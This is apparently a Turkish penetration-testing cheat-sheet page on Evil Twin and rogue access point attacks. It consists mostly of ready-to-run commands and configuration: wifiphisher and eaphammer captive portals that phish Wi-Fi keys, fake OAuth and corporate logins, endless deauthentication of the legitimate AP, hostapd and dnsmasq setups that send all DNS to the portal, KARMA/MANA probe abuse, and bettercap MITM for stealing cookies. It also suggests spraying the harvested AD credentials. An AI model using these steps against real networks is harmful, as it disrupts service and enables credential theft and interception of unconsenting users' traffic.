Skip to content

Evil Twin & Rogue AP

ATT&CK T1557 difficulty: orta

Evil Twin, meşru bir ağın SSID’sini (ve çoğu zaman BSSID/kanal ipuçlarını) taklit eden sahte bir erişim noktasıdır. Kurbanlar bilerek veya otomatik roaming ile bağlanınca saldırgan trafiğe araya girer, captive portal ile PSK/kimlik toplar veya açık HTTP oturumlarını yakalar.

PSK phishing → "firmware upgrade" / "Wi‑Fi login" portal → PSK veya AD creds
Açık ağ twin → misafir/otel SSID kopyası → SSLStrip/MITM / cookie
KARMA/MANA → istemci probe request'lerine cevap → Preferred Network List sömürüsü
Enterprise twin → rogue RADIUS (ayrı sayfa: WPA-Enterprise)
- AP mode destekleyen arayüz (wlan0) + opsiyonel ikinci kart deauth için
- hostapd / hostapd-mana / eaphammer / wifiphisher
- dnsmasq (DHCP+DNS) veya araçların gömülü stack'i
- IP forwarding + iptables NAT (internet paylaşımı istenirse)
  1. Hedef SSID’yi belirle — airodump ile ESSID, kanal, ENC; istemci Probes listesini KARMA için kaydet:

    Terminal window
    sudo airodump-ng --band abg wlan0mon
  2. Rogue AP ayağa kaldır — aynı ESSID (PSK ağlarda açık veya WPA ile portal senaryosuna göre):

    Terminal window
    sudo wifiphisher -aI wlan0mon -e "Kurumsal-WiFi" -p firmware-upgrade
    Terminal window
    eaphammer -i wlan0 --essid "Kurumsal-WiFi" --captive-portal
  3. Gerçek AP’yi zayıflat — deauth / disassoc ile istemcileri kaydır:

    Terminal window
    sudo aireplay-ng --deauth 0 -a REAL_BSSID wlan1mon
    Terminal window
    sudo mdk4 wlan1mon d -B REAL_BSSID
  4. Kimlik / PSK topla — portal POST log’ları; ardından PSK ile meşru ağa bağlan veya AD hesabını spray et.

  5. Trafiği MITM et — bağlanan istemci için:

    Terminal window
    sudo sysctl -w net.ipv4.ip_forward=1
    Terminal window
    sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
    Terminal window
    sudo bettercap -iface at0
Terminal window
interface=wlan0
Terminal window
driver=nl80211
Terminal window
ssid=Kurumsal-WiFi
Terminal window
hw_mode=g
Terminal window
channel=6
Terminal window
sudo hostapd hostapd.conf
Terminal window
interface=wlan0
Terminal window
dhcp-range=192.168.66.10,192.168.66.100,12h
Terminal window
dhcp-option=3,192.168.66.1
Terminal window
dhcp-option=6,192.168.66.1
Terminal window
address=/#/192.168.66.1 # tüm DNS → portal
Terminal window
sudo ip addr add 192.168.66.1/24 dev wlan0
Terminal window
sudo dnsmasq -C dnsmasq.conf -d

Portal için basit HTTP (ör. php -S 192.168.66.1:80) veya wifiphisher şablonları.

Cihazlar bilinen ağları arayan probe request yayınlar. KARMA bu probe’lara sahte beacon/probe response ile cevap verir; istemci “ev Wi‑Fi” sandığı ağa bağlanır.

Terminal window
sudo hostapd-mana /etc/hostapd-mana/hostapd.conf
Terminal window
eaphammer -i wlan0 --karma --captive-portal
Değerli probe'lar: ev SSID, otel, "eduroam", şirket misafir ağı
Boş/gizli preferred list → daha az otomatik bağlanma
Modern OS'ler KARMA'ya kısmen dirençli; yine de IoT/eski cihazlar düşer

PSK’yi başka yöntemle (handshake/PMKID/WPS) biliyorsanız, aynı PSK ile evil twin kurup trafiği şeffaf MITM edebilirsiniz — portal gerekmez:

Terminal window
wpa=2
Terminal window
wpa_passphrase=KnownPSK
Terminal window
wpa_key_mgmt=WPA-PSK
Terminal window
rsn_pairwise=CCMP

İstemci sessizce bağlanır; ardından sniffing / DNS spoof.

firmware-upgrade → "AP güncellemesi, PSK girin"
oauth-login → sahte Google/Microsoft OAuth
wifi_connect → kurumsal kullanıcı/şifre formu
plugin_update → sahte eklenti indir → payload
Terminal window
sudo wifiphisher --list-plugins
Terminal window
sudo wifiphisher -aI wlan0mon -e "Airport_Free_WiFi" -p oauth-login
wlan0 → AP mode (rogue / hostapd)
wlan1 → monitor (deauth gerçek BSSID)
eth0 → uplink (NAT, isteğe bağlı internet)

Tek kartta AP + deauth genelde dengesizdir; mümkünse iki adaptör kullanın.

wifiphisher · evil twin

embedded tool
Generated command
sudo wifiphisher -aI wlan0 -e Kurumsal-WiFi -p firmware-upgrade
airodump → ESSID + client probes
→ wifiphisher / eaphammer captive
→ mdk4 deauth gerçek AP
→ PSK/creds log → meşru ağa katıl / spray
PSK biliniyor → hostapd WPA2 twin
→ DNS spoof + mitmproxy
→ oturum çerezi / iç portal creds